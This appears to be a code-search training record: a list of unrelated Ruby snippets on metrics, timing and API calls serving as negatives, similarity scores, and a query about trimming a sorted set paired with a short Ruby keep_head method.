:query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GetMetricTimeseriesDataResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MetricsApi#get_metric_timeseries_data\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_metric_timeseries_data_with_http_info(metric_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MetricsApi.get_metric_timeseries_data ...'\n end\n # verify the required parameter 'metric_id' is set\n if @api_client.config.client_side_validation && metric_id.nil?\n fail ArgumentError, \"Missing the required parameter 'metric_id' when calling MetricsApi.get_metric_timeseries_data\"\n end\n # verify enum value\n allowable_values = [\"aggregate_startup_time\", \"downscale_percentage\", \"exits_before_video_start\", \"live_stream_latency\", \"max_downscale_percentage\", \"max_upscale_percentage\", \"page_load_time\", \"playback_failure_percentage\", \"playback_failure_score\", \"player_startup_time\", \"playing_time\", \"rebuffer_count\", \"rebuffer_duration\", \"rebuffer_frequency\", \"rebuffer_percentage\", \"rebuffer_score\", \"requests_for_first_preroll\", \"seek_latency\", \"startup_time_score\", \"unique_viewers\", \"upscale_percentage\", \"video_quality_score\", \"video_startup_preroll_load_time\", \"video_startup_preroll_request_time\", \"video_startup_time\", \"viewer_experience_score\", \"views\", \"weighted_average_bitrate\"]\n if @api_client.config.client_side_validation && !allowable_values.include?(metric_id)\n fail ArgumentError, \"invalid value for \\\"metric_id\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"95th\", \"median\", \"avg\", \"count\", \"sum\"]\n if @api_client.config.client_side_validation && opts[:'measurement'] && !allowable_values.include?(opts[:'measurement'])\n fail ArgumentError, \"invalid value for \\\"measurement\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"asc\", \"desc\"]\n if @api_client.config.client_side_validation && opts[:'order_direction'] && !allowable_values.include?(opts[:'order_direction'])\n fail ArgumentError, \"invalid value for \\\"order_direction\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"ten_minutes\", \"hour\", \"day\"]\n if @api_client.config.client_side_validation && opts[:'group_by'] && !allowable_values.include?(opts[:'group_by'])\n fail ArgumentError, \"invalid value for \\\"group_by\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/data/v1/metrics/{METRIC_ID}/timeseries'.sub('{' + 'METRIC_ID' + '}', CGI.escape(metric_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'timeframe[]'] = @api_client.build_collection_param(opts[:'timeframe'], :multi) if !opts[:'timeframe'].nil?\n query_params[:'filters[]'] = @api_client.build_collection_param(opts[:'filters'], :multi) if !opts[:'filters'].nil?\n query_params[:'measurement'] = opts[:'measurement'] if !opts[:'measurement'].nil?\n query_params[:'order_direction'] = opts[:'order_direction'] if !opts[:'order_direction'].nil?\n query_params[:'group_by'] = opts[:'group_by'] if !opts[:'group_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetMetricTimeseriesDataResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['accessToken']\n\n new_options = opts.merge(\n :operation => :\"MetricsApi.get_metric_timeseries_data\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MetricsApi#get_metric_timeseries_data\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def server_timing=(_arg0); end", "def set_value(event, value)\n\t @timepoints << [event, :set_value, value]\n\tend", "def measure(stat, time)\n write(stat, time, 'ms', 1)\n self\n end", "def internal_update_stats(metric, up, users, two_min, five_min, fifteen_min)\n alert_status = cur_alert\n\n if (alert?) # Alert case\n if (two_min < $ALERT_THRESHOLD)\n alert_status.trigger_clear(metric.create_time)\n Rails.logger.info(\"Cleared alert #{metric.create_time} #{two_min}\")\n end\n else # Clear case\n if (two_min > $ALERT_THRESHOLD)\n alert_status.trigger_alert(metric.create_time)\n Rails.logger.info(\"Started alert #{metric.create_time} #{two_min}\")\n end\n end\n\n @stats.setup(metric, up, users, two_min, five_min, fifteen_min, alert_status)\n end", "def key_timings\n \"timings\"\n end", "def add_latency_metric!\n latency = request.annotations[:queue_latency] || 0\n meta = MetricMeta.new(\"Latency\", meta_options)\n stat = MetricStats.new\n stat.update!(latency)\n @metrics[meta] = stat\n end", "def handle(key, value, sample_rate)\n if sample_rate\n value = value.to_f / sample_rate.gsub(\"@\", \"\").to_f\n end\n key = \"counters:#{key}\"\n @active_counters[key] = @active_counters[key].to_i + value.to_i\n @counters[key] = nil\n end", "def hours=(value)\n if value.to_s.include?(':')\n array = value.split(\":\")\n self.total_time = (array[0].to_i * 3600 + array[1].to_i * 60)\n else\n self.total_time = (value.to_f * 3600).to_i\n end\n end", "def [](key)\n @metrics[key]\n end", "def metric name\n ensure_connection!\n resp = connection.get_metric name\n return Metric.from_gapi(resp.data, connection) if resp.success?\n return nil if resp.status == 404\n fail ApiError.from_response(resp)\n end", "def record_metrics(metric_names_or_specs, value=nil, options={}, &blk)\n scoped = options[:scoped]\n scope = in_transaction? ? SCOPE_PLACEHOLDER : nil\n effective_scope = scoped && scope\n\n specs = coerce_to_metric_spec_array(metric_names_or_specs, effective_scope)\n\n if in_transaction?\n transaction_stats_hash.record(specs, value, &blk)\n else\n with_stats_lock do\n @stats_hash.record(specs, value, &blk)\n end\n end\n end", "def record_supportability_metric_count(metric, value)\n record_supportability_metric(metric) do |stat|\n stat.call_count = value\n end\n end", "def track(what)\n return unless trending_handler\n trending_handler.write_metric(what, send(what), self)\n end", "def time(context)\n if @time.eval(context).is_a?(String)\n case @units\n when \"s\"\n @time.eval(context)\n else\n raise \"Invalid units\"\n end\n else\n (\"%.2f\" % case @units\n when \"s\"\n @time.eval(context)\n when \"ms\"\n @time.eval(context).to_f / 1000\n end).sub(/^0+/, \"\") + \"(sec)\"\n end\n end" ]
[ "0.6452341", "0.6300942", "0.622976", "0.5921571", "0.585442", "0.5835578", "0.5792397", "0.5734541", "0.57106745", "0.5643718", "0.5629967", "0.56229484", "0.5595704", "0.55800354", "0.5535931", "0.55054504", "0.5500063", "0.5488108", "0.54756236", "0.5457809", "0.5431978", "0.54156923", "0.53221273", "0.53096163", "0.52927977", "0.52806807", "0.52225345", "0.5204765", "0.5203127", "0.5186481", "0.51812404", "0.51798797", "0.5100584", "0.50856", "0.50856", "0.5068087", "0.50661117", "0.50616217", "0.5053926", "0.50536263", "0.50499547", "0.50479215", "0.5032381", "0.5029128", "0.5020425", "0.50092554", "0.49945164", "0.49657536", "0.4962354", "0.4941031", "0.49328765", "0.4930706", "0.48982662", "0.48751518", "0.48700988", "0.48658136", "0.48368916", "0.48364735", "0.4829413", "0.48266682", "0.4819498", "0.48173195", "0.48091802", "0.48087782", "0.48059198", "0.4795791", "0.47879848", "0.47868553", "0.47795433", "0.47715637", "0.47590545", "0.47374618", "0.4723114", "0.4722433", "0.47107777", "0.47057268", "0.47016478", "0.46982056", "0.46928298", "0.4673134", "0.467244", "0.46692005", "0.46563318", "0.46508402", "0.4649372", "0.46489295", "0.46480423", "0.46436644", "0.4639131", "0.46343708", "0.46293095", "0.46193597", "0.4596988", "0.45919794", "0.45836124", "0.45811456", "0.45777133", "0.4576839", "0.45712984", "0.45685956" ]
0.7575534
0
Returns an array of elements from the sorted set using ZRANGE. range receives 2 integers, start and stop Example: class CreditRecord 1) c2 = CreditRecord.create(:credits => 2) c3 = CreditRecord.create(:credits => 3) event = CreditEvent.create event.records.add(c1) event.records.add(c2) event.records.add(c3) [c1, c2] == event.records.range(0, 1) [c3, c2] == event.records.revrange(0, 1) => true
def range(start, stop) fetch(redis.zrange(key, start, stop)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def zrange(key, start, stop, byscore: T.unsafe(nil), by_score: T.unsafe(nil), bylex: T.unsafe(nil), by_lex: T.unsafe(nil), rev: T.unsafe(nil), limit: T.unsafe(nil), withscores: T.unsafe(nil), with_scores: T.unsafe(nil)); end", "def z_list_range(key, start = 0, count = 1)\n handle_pipeline(@redis.zrevrange(key, start, start + count - 1)) { |object|\n list = Array(object).map(&method(:without_uuid))\n\n next list.first if count == 1\n\n list\n }\n end", "def zrange(key, start, stop, options = {})\n args = [:zrange, key, start, stop]\n\n if options[:withscores]\n args << 'WITHSCORES'\n block = Redis::FloatifyPairs\n end\n\n call(key, args, transform: block, read: true)\n end", "def zrange(key, start, stop, **options)\n node_for(key).zrange(key, start, stop, **options)\n end", "def get_range(from, to, options = {})\n if options.delete(:include_boundaries)\n connection.zrevrangebyscore(key_label, to, from, options)\n else\n connection.zrevrangebyscore(key_label, \"(#{to}\", \"(#{from}\", options)\n end\n end", "def zrevrange(key, start, stop, options = {})\n args = [:zrevrange, key, start, stop]\n\n if options[:withscores]\n args << 'WITHSCORES'\n block = Redis::FloatifyPairs\n end\n\n call(key, args, transform: block, read: true)\n end", "def rslice(range, options = {})\n start, finish = range_pair(range)\n fetch_range :zrevrange, start, finish, options\n end", "def slice(range, options = {})\n start, finish = range_pair(range)\n fetch_range :zrange, start, finish, options\n end", "def zrange(key, start, stop, **options); end", "def range(start, stop)\n fetch(key.call(\"LRANGE\", start, stop))\n end", "def zrevrange(key, start, stop, withscores: T.unsafe(nil), with_scores: T.unsafe(nil)); end", "def get_all_by_range(sorted_set_key, min, max)\n redis.zrangebyscore(sorted_set_key, min, max)\n end", "def excise(ranges)\n if ranges.class != Array\n raise RuntimeError, \"Argument should be an array of ranges\"\n end\n ranges.each do |r|\n if r.class != Range\n raise RuntimeError, \"Argument should be an array of ranges\"\n end\n end\n\n answer = Array.new\n previous_excised_stop = self.start - 1\n ranges.sort_by{|r| r.first}.each do |r|\n subslice_start = previous_excised_stop + 1\n if subslice_start <= r.first - 1\n answer.push(Slice.new(self.seq_region, subslice_start, r.first - 1))\n end\n previous_excised_stop = r.last\n if r.last > self.stop\n return answer\n end\n end\n subslice_start = previous_excised_stop + 1\n answer.push(Slice.new(self.seq_region, subslice_start, self.stop))\n return answer\n end", "def excise(ranges)\r\n if ranges.class != Array\r\n raise RuntimeError, \"Argument should be an array of ranges\"\r\n end\r\n ranges.each do |r|\r\n if r.class != Range\r\n raise RuntimeError, \"Argument should be an array of ranges\"\r\n end\r\n end\r\n\r\n answer = Array.new\r\n previous_excised_stop = self.start - 1\r\n ranges.sort_by{|r| r.first}.each do |r|\r\n subslice_start = previous_excised_stop + 1\r\n if subslice_start <= r.first - 1\r\n answer.push(Slice.new(self.seq_region, subslice_start, r.first - 1))\r\n end\r\n previous_excised_stop = r.last\r\n if r.last > self.stop\r\n return answer\r\n end\r\n end\r\n subslice_start = previous_excised_stop + 1\r\n answer.push(Slice.new(self.seq_region, subslice_start, self.stop))\r\n return answer\r\n end", "def get_range_by_reverse_rank(from, to, options = {})\n connection.zrange(key_label, from, to, options)\n end", "def zrevrange(key, start, stop, **options)\n node_for(key).zrevrange(key, start, stop, **options)\n end", "def get_range_by_rank(from, to, options = {})\n connection.zrevrange(key_label, from, to, options)\n end", "def zrevrange(key, start, stop, **options); end", "def range(start, ending)\n return [] if start >= ending - 1\n retu_arr = range(start, ending - 1)\n retu_arr << ending - 1\nend", "def zrange(key, start, stop, options = {})\n send_cluster_command([:zrange, key, start, stop, options])\n end", "def range(start, ending)\n return [] if start >= ending - 1\n # retu_arr = []\n # retu_arr << start + 1\n # retu_arr.concat(range(start+1, ending))\n array = range(start+1, ending)\n array.unshift(start+1)\nend", "def assert_within_range reclist, att, min, max\n values = get_values reclist, att\n values.delete_if{|x,y| y.nil?}\n if values.values.length == 0\n log_v \"All values nil for #{reclist[0].class.name}'s #{att} attribute\"\n return\n end\n outliers = values.reject{|k,v| (v >= min and v <= max) }\n sorted_values = values.values.sort\n if outliers.size > 0\n announce 'INVALID DATA:'\n announce \"#{outliers.size} invalid #{att}s.\"\n announce \"Outliers: #{outliers.collect{|x,y| x}*', '}\" if outliers.size < 10\n if sorted_values.first < min\n lowest = sorted_values.first\n temp = sorted_values.reject{|x| x > lowest}.count\n temp2 = sorted_values.reject{|x| x >= min}.count\n announce \"Smallest #{att} below min: #{lowest}. # records w/ this value: #{temp}\" \n announce \" # records below min : #{temp2}\" \n end\n if sorted_values.last > max \n highest = sorted_values.last\n temp = sorted_values.reject{|x| x < highest}.count\n temp2 = sorted_values.reject{|x| x <= max}.count\n announce \"Largest #{att} above max: #{highest}. # records w/ this value: #{temp}\" \n announce \" # records above max: #{temp2}\"\n end\n announce '------'\n else \n announce \"Valid data for #{att}!\\n ----- \"\n end\n end", "def reverse_range(min, max)\n new_arr = []\n\n i = max-1\n while i >= min+1 # i > min\n # reverse\n # exclude\n new_arr << i\n i -= 1\n end\n\n return new_arr\n\nend", "def get_range(range)\n r = []\n enum = range.to_enum\n begin\n while (x = enum.next) < @size\n r << get_single_key(x)\n end\n rescue StopIteration\n end\n r.empty? ? nil : r\n end", "def zrange(key, start, stop, options = {})\n send_cluster_command([:zrange, key, start, stop, options],\n master_only: false)\n end", "def select(range, options = {})\n start, finish = range_pair(range)\n fetch_range :zrangebyscore, start, finish, options\n end", "def range(start, last)\n return [] if last < start\n range(start, last - 1) << last - 1\nend", "def slice(start_x, end_x)\n if start_x.class == Fixnum\n if end_x.class == Fixnum\n dates[(start_x-1)..(end_x-1)]\n else\n dates[start_x-1..-1].select{|d| d <= end_x}\n end\n elsif start_x.class ==Date \n if end_x.class == Date\n dates.select{|d| d >= start_x and d <= end_x}\n else\n dates.select{|d| d >= start_x}[0..end_x-1]\n end\n end\n end", "def get_drs_from_range(start_date, end_date)\n self.delta_requests.select do |dr|\n begin\n dr.start_time > start_date and dr.start_time < end_date\n rescue\n false\n end\n end\n end", "def range(start,finish)\n if start == finish\n return [start]\n end\n\n prev_arr = range(start+1, finish)\n prev_arr << start\n return prev_arr\nend", "def split(range = nil)\n if self.record_category and self.activity?\n entry_end = self.end_timestamp || Time.now\n time = range ? [self.timestamp, range.begin.midnight.in_time_zone].max : self.timestamp\n end_time = range ? [entry_end, range.end.midnight.in_time_zone].min : entry_end\n list = Array.new\n while time < end_time\n new_end = [entry_end, (time + 1.day).midnight.in_time_zone].min\n list << [time, new_end, self]\n time = new_end\n end\n else\n return [self.timestamp, nil, self]\n end\n list\n end", "def rselect(range, options = {})\n finish, start = range_pair(range, true)\n fetch_range :zrevrangebyscore, finish, start, options\n end", "def rec_range(start,last)\r\n return [] if last < start\r\n return [start] if start == last-1\r\n \r\n rec_range(start,last-1) << last-1\r\n\r\nend", "def index\n @events = Event.between(range: @range, field: 'start_time').order(:start_time)\n end", "def get_range\n\t\tif params.has_key?(\"start\") and params.has_key?(\"end\")\n\t\t\tif params[\"end\"] == \"Z\"\n\t\t\t\t# had to do some hackish stuff to include Z\n\t\t\t\tfirst = AToZEntry.select(:topic, :id).where(topic: params[:start]..params[:end])\n\t\t\t\tprefix = 'Z'\n\t\t\t\tsecond = AToZEntry.select(:topic, :id).where(\"topic LIKE :prefix\", prefix: \"#{prefix}%\")\n\t\t\t\trespond({ status: 0, topics: first+second })\n\t\t\telse\n\t\t\t\trespond({ status: 0, topics: AToZEntry.select(:topic, :id).where(topic: params[:start]..params[:end]) })\n\t\t\tend\t\t\t\n\t\telse\n\t\t\trespond({ status: 1, error: \"Must supply :start and :end parameter.\" })\n\t\tend\t\n\tend", "def entries\n @entries.sort!{|a, b| a.range.low <=> b.range.low }\n end", "def get_set(start, finish, interval)\n cur_val = start; result = []\n while(cur_val < finish)\n result << cur_val\n cur_val += interval\n end\n result\n end", "def range_rc(start_num, end_num)\n\n return [] if end_num <= start_num\n range_rc(start_num, end_num - 1) + [end_num - 1]\nend", "def range(start, stop)\n return [] if stop < start\n return [stop] if start == stop\n\n [start] + range(start+1, stop)\nend", "def reverse_range(min, max)\n reverse_arr = []\n\n i = max -1\n while i > min\n reverse_arr << i\n i -= 1\n end\n return reverse_arr\nend", "def range\n [@from, @to]\n end", "def range(start,ending)\r\n return [] if ending <= start\r\n\r\n range(start, ending-1) << ending -1\r\nend", "def range(arr)\n # your code goes here\n arr = arr.sort\n arr.last - arr.first\nend", "def range(start, ending)\n return [] if start >= ending\n\n return [start] + range(start + 1, ending)\nend", "def xrevrange(key, range_end = T.unsafe(nil), start = T.unsafe(nil), count: T.unsafe(nil)); end", "def compressible_ranges(fields, start)\n ranges = []\n\n i = start\n while i < 8 && fields[i] != 0 ; i += 1 ; end\n\n if i\n li = i\n\n while i < 8\n while i < 8 && fields[i] == 0 ; i += 1 ; end\n if i > li + 1\n ranges << (li...i)\n end\n\n while i < 8 && fields[i] != 0 ; i += 1 ; end\n\n li = i\n end\n end\n\n ranges.sort! { |a,b| b.count <=> a.count }\n ranges\n end", "def reverse_range(min, max)\n\trange = []\n \n\ti = max - 1\n\twhile i > min\n\t\trange << i\n\t\ti -= 1\n end\n \n\treturn range\nend", "def find_in_range *args\n if args[0].respond_to?(:first) && args[0].respond_to?(:last)\n\tt_start = args[0].first\n\tt_end = args[0].last\n else\n\tt_start = args[0]\n\tt_end = args[1]\n end\n opts = args.last if args.last.respond_to?(:keys)\n if opts\n\tlimit = opts[:limit]\n end\n result = []\n count = 1\n loop do\n rnext = find_next t_start\n break if count > limit if limit\n\tbreak if rnext > t_end\n result << rnext\n t_start = rnext + 1\n\tcount += 1\n end\n result\n end", "def historic_trading_by_range(region, start, finish)\n region = AEMO::Region.new(region) if region.is_a?(String)\n\n required_data = []\n (start..finish).map { |d| { year: d.year, month: d.month } }\n .uniq.each do |period|\n required_data += historic_trading(region, period[:year],\n period[:month])\n end\n\n required_data.select do |values|\n values.datetime >= start && values.datetime <= finish\n end\n end", "def in_range(*args)\n opts = args.last.kind_of?(Hash) ? args.pop : {}\n limit = opts[:limit]\n count = 1\n t_start, t_end = args.first.kind_of?(Range) ? [args.first.first, args.first.last] : [args.first,args.last]\n\n raise ArgumentError, \"must be a range or two date/time objects\" unless t_start and t_end\n\n self.start = t_start\n\n @in_range ||= begin\n result = []\n loop do\n next!\n break if count > limit if limit\n break if to_date > t_end\n result << to_date\n count += 1\n end\n\n result\n end\n end", "def test_top_bottom\n x = IntegerRange.new(1000, 1)\n\n assert_equal(x.bottom, 1)\n assert_equal(x.top, 1000)\n assert_equal(x.to_a, (1..1000).to_a)\n\n a = each_to_a(x)\n\n assert_equal(a, (1..1000).to_a)\n end", "def reverse_range(min, max)\n\ti = max-1\n \tarr = []\n while i > min\n\t\tarr << i\n \ti -= 1\n end\n \treturn arr\nend", "def range(range_start, range_end)\n return [] if range_end < range_start\n return [range_end] if range_end == range_start\n result = [range_end]\n range(range_start, range_end - 1) + result\nend", "def range( range )\n ::Vector.elements( range.to_a )\n end", "def range_records(database, collection, conditions, first = Time.now, last = Time.now, limit = 2000)\n db = @connection.db(database)\n coll = db.collection(collection)\n conditions = conditions.merge({\"timestamp\" => {\"$lte\" => last, \"$gte\" => first}})\n\n baseQuery = coll.find(conditions).sort([[\"$natural\", \"-1\"]]).limit(limit)\n end", "def reverse_range(min, max)\n newArr = []\n i = max - 1\n while i >= min +1\n newArr << i\n i -= 1\n end\n return newArr\n end", "def reverse_range(min, max)\n\ti = max\n \tarry = []\n \twhile i > min + 1\n i -=1\n arry << i\n end\n return arry\n\nend", "def range(arr)\n arr.sort[-1] - arr.sort[0]\nend", "def to_ranges\n array = self.compact.uniq.sort\n ranges = []\n if !array.empty?\n # Initialize the left and right endpoints of the range\n left, right = array.first, nil\n array.each do |obj|\n # If the right endpoint is set and obj is not equal to right's successor \n # then we need to create a range.\n if right && obj != right.succ\n ranges << Range.new(left,right)\n left = obj\n end\n right = obj\n end\n ranges << Range.new(left,right)\n end\n ranges\n end", "def range(start_num, end_num)\n return [] if end_num =< start_num\n range(start_num, end_num - 1) << end_num - 1\nend", "def zlist(start, stop, opts = {})\n limit = opts[:limit] || -1\n mon_synchronize do\n perform [\"zlist\", start, stop, limit], :multi => true\n end\n end", "def zlist(start, stop, opts = {})\n limit = opts[:limit] || -1\n mon_synchronize do\n perform [\"zlist\", start, stop, limit], multi: true\n end\n end", "def range(start, endI)\n arr = []\n if start > endI\n return []\n end\n\n if start <= endI - 1\n arr << start\n p arr\n end\n range(start + 1, endI)\n \nend", "def zrangestore(dest_key, src_key, start, stop, byscore: T.unsafe(nil), by_score: T.unsafe(nil), bylex: T.unsafe(nil), by_lex: T.unsafe(nil), rev: T.unsafe(nil), limit: T.unsafe(nil)); end", "def range(start, ending_value)\n return [] if start > ending_value\n result = [start] + range(start + 1, ending_value)\nend", "def range(arr)\n # your code goes here\n sorted_arr = arr.sort\n sorted_arr.last - sorted_arr.first\nend", "def reverse_range(min, max)\n reversed = [] \n \n index = max - 1 \n \n while index > min \n reversed << index \n index -= 1\n end \n \n return reversed \n \nend", "def query(from, to)\n low = [from, to].min\n high = [from, to].max\n \n # Get the values\n values = self[low..high]\n \n # Allow crick querying\n values.reverse! if from > to\n return values\n end", "def range(start_num, end_num)\n range_array = []\n range_array << start_num\n\n if(start_num < end_num)\n range_array += range(start_num + 1, end_num)\n end\n\n range_array\nend", "def range\n\t\t\t#(@end > @start) ? (@start .. @end) : (@end .. @start)\n\t\t\t(start .. self.end)\n\t\tend", "def range(start, finish, step)\n return [] if start >= finish\n\n Enumerator.new do |y|\n y << start\n while (start += step) < finish\n y << start\n end\n end\n end", "def reverse_range(min, max)\n nums = []\n i = max\n while i > min\n if\n i == max\n i -= 1\n next\n end\n nums << i\n i -= 1\n end\n return nums\n end", "def get_range\n\t\tRails.logger.info(\"HOST ------> #{request.host}\")\n\t\trespond({ topics: AToZEntry.select(:topic, :id).where(topic: params[:start]..params[:end]) })\n\tend", "def range(start_num, end_num)\n # one line version\n # (start_num...end_num).to_a\n\n # version 2\n exclusive_range = []\n (start_num...end_num).each do |num|\n exclusive_range << num\n end\n exclusive_range\nend", "def _range from, to\n\t\trange = `IDBKeyRange.bound(#{from}, #{to})`\n\t\tEnumerator.new do |out, done|\n\t\t\ttry do\n\t\t\t\ttransaction = `#@db.transaction(['kv'], 'readonly')`\n\t\t\t\tstore = `#{transaction}.objectStore('kv')`\n\t\t\t\tindex = `#{store}.index('key')`\n\t\t\t\t%x{#{index}.openCursor(#{range}).onsuccess = function(e) {\n\t\t\t\t\tvar cursor = e.target.result\n\t\t\t\t\tif(cursor) {\n\t\t\t\t\t\t// #{log `cursor.value.key`, `cursor.value.val`}\n\t\t\t\t\t\t// debugger\n\t\t\t\t\t\t#{out << [`cursor.value.key`, `cursor.value.val`]}\n\t\t\t\t\t\tcursor.continue()\n\t\t\t\t\t} else {\n\t\t\t\t\t\t#{done[]}\n\t\t\t\t\t}\n\t\t\t\t}}\n\t\t\tend\n\t\tend.lazy\n\tend", "def zrangebylex(key, min, max, limit: T.unsafe(nil)); end", "def values_from_zset(metric, begin_ts, end_ts)\n values = @redis.zrangebyscore(metric, begin_ts, end_ts, with_scores: true)\n values.collect do |point, ts|\n val = point.split(':').last\n { timestamp: ts.to_i, value: val.to_f }\n end\n end", "def reverse_range(min, max)\n reverse_numbers = []\n \n i = max - 1\n while i > min\n reverse_numbers << i\n \n i -= 1\n end\n \n return reverse_numbers\nend", "def reverse_range(min, max)\n nums = []\n \n i = max - 1\n while i > min\n nums << i\n \n i -= 1\n end\n \n return nums\n end", "def to_range\n Range.new(self.start, self.end)\n end", "def range(start, finish)\n return [] if start >= finish\n [start + 1] + range(start + 1, finish)\nend", "def range(start, finish)\n return [] if finish < start\n return [start] if finish - 1 == start\n range(start, finish - 1) + [finish - 1]\nend", "def slice( start, stop )\n \n start_point = create_period( calculate_bucket( TimeSeries.Normalise_Time( start ) ) )\n stop_point = create_period( calculate_bucket( TimeSeries.Normalise_Time( stop ) ) )\n\n # Create a new TimeSeries object with the same resolution as\n # self, and clones of each bucket from start to stop.\n \n new_slice = TimeSeries.new( @resolution_unit )\n\n ( start_point .. stop_point ).each do |period|\n if not @buckets[period].empty? then\n new_slice[period] = @buckets[period].clone\n end\n end\n \n new_slice\n end", "def list_range(key, start, ending)\n timeout_retry(3, 3){\n write \"LRANGE #{key} #{start} #{ending}\\r\\n\"\n multi_bulk_reply\n }\n end", "def get_sequence(low, high)\n (low..high).to_a\nend", "def range(start,final)\n return [] if start >= final\n return [final - 1] if start == final - 1\n\n arr = []\n result = range(start,final-1)\n arr.concat(result)\n arr.push ( final - start )\n arr\nend", "def zrevrangebylex(key, max, min, limit: T.unsafe(nil)); end", "def range(range, options={})\n range = (range..range) if range.is_a? Date\n data = range.map do |date|\n case type\n when :counter\n value = Prisma.redis.get(Prisma.redis_key(name, date)).to_i\n when :bitmap\n bitstring = Prisma.redis.get(Prisma.redis_key(name, date)) || ''\n string = bitstring.unpack('b*').first\n value = options[:skip_bitmap_count] ? string : string.count('1')\n end\n\n [date, value]\n end\n\n Hash[data]\n end", "def test_inclusive_unbounded_range_id_1_order_desc\n header 'Range', 'id 1..; order=desc'\n\n get '/'\n json_response = JSON.parse(last_response.body)\n\n assert last_response.ok?\n assert_equal Array, json_response.class\n assert_equal 200, json_response.count\n assert_equal 201, json_response.first['id']\n assert_equal 2, json_response.last['id']\n end", "def slice_range(limit_and_offset = limit_and_offset())\n limit, offset = limit_and_offset\n if limit || offset\n (offset||0)..(limit ? (offset||0)+limit-1 : -1)\n end\n end", "def range(min, max)\n range_array = []\n\n i = min\n while i <= max\n range_array << i\n i += 1\n end\n return range_array\nend", "def range(arr)\n\nend", "def between(start_line, end_line=nil)\n return self unless start_line\n\n if start_line.is_a? Range\n end_line = start_line.last\n end_line -= 1 if start_line.exclude_end?\n\n start_line = start_line.first\n else\n end_line ||= start_line\n end\n\n if start_line > 0\n start_idx = @lines.index { |l| l.last >= start_line } || @lines.length\n else\n start_idx = start_line\n end\n\n if end_line > 0\n end_idx = (@lines.index { |l| l.last > end_line } || 0) - 1\n else\n end_idx = end_line\n end\n\n alter do\n @lines = @lines[start_idx..end_idx] || []\n end\n end", "def range \n Range.new(@first, @last)\n end", "def list_with_subrange(min_bound, max_bound)\n return self.class.new if self.list.empty?\n\n ordered = self.ordered_items\n\n min_value = 0\n max_value = Float::INFINITY\n\n if min_bound.is_a?(Numeric)\n min_value = min_bound\n elsif min_bound.is_a?(InkList) && !min_bound.list.empty?\n min_value = min_bound.min_item[1]\n end\n\n if max_bound.is_a?(Numeric)\n max_value = max_bound\n elsif max_bound.is_a?(InkList) && !max_bound.list.empty?\n max_value = max_bound.max_item[1]\n end\n\n sublist = self.class.new\n sublist.set_initial_origin_names(origin_names)\n ordered.each do |item, int_value|\n if int_value >= min_value && int_value <= max_value\n sublist.list[item] = int_value\n end\n end\n\n sublist\n end", "def to_range\n start_date..end_date\n end", "def range\n (start_date...end_date) #exclusive date range\n end", "def range\n (@from..@to)\n end", "def get_rev_range(key, most_recent, last_modified)\n log(\"get :Deltas, #{key}, :reversed => true, :start => #{timestamp_name(most_recent)}, :finish => #{timestamp_name(last_modified)}\")\n connection.get(:Deltas, key, :reversed => true, :start => timestamp_name(most_recent), :finish => timestamp_name(last_modified), :count => MAX_DELTAS).values\n end", "def ranges(ips)\n ranges, start, prev = [], ips.first, ips.first\n ips.each_with_index do |ip, i|\n prev = ips[i-1] if i > 0\n if ip == ips.last\n ranges << [start, ip]\n elsif ip.to_i - prev.to_i > 1\n ranges << [start, prev]\n start = ip\n end\n end\n ranges\n end" ]
[ "0.67454296", "0.66781455", "0.66356003", "0.6624799", "0.6561606", "0.6528622", "0.6489221", "0.6435696", "0.6429592", "0.63634396", "0.6330038", "0.63270974", "0.63225526", "0.6293669", "0.6232748", "0.6214162", "0.62032324", "0.61765295", "0.6136744", "0.606367", "0.60571915", "0.6018427", "0.5978001", "0.59776765", "0.5976318", "0.5965206", "0.5959454", "0.59380096", "0.59320515", "0.59295464", "0.5901634", "0.58958256", "0.58816856", "0.5879305", "0.5863277", "0.5861887", "0.58576304", "0.58463436", "0.5836413", "0.5797289", "0.5795976", "0.57868034", "0.57757604", "0.57601124", "0.57583237", "0.57576835", "0.5732546", "0.5729822", "0.5724436", "0.5722828", "0.5722794", "0.57093245", "0.5702871", "0.5693292", "0.5675261", "0.5674218", "0.5648209", "0.5636777", "0.5622921", "0.5620684", "0.5613646", "0.5610802", "0.55978507", "0.55934775", "0.558522", "0.55849767", "0.5584542", "0.55840075", "0.55802023", "0.5572807", "0.55719507", "0.5555352", "0.55472755", "0.5539249", "0.5531906", "0.5520327", "0.5518688", "0.55111533", "0.55111086", "0.5505662", "0.54980093", "0.54900545", "0.54760444", "0.5472639", "0.5469196", "0.5463951", "0.5455843", "0.54475415", "0.5444719", "0.5444695", "0.5442039", "0.5438397", "0.5430682", "0.54105777", "0.54103214", "0.5408143", "0.5398788", "0.539477", "0.5394724", "0.5393217" ]
0.6887996
0
Keep the sorted set to the speicified length
def keep_head(length) drop_below(length) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
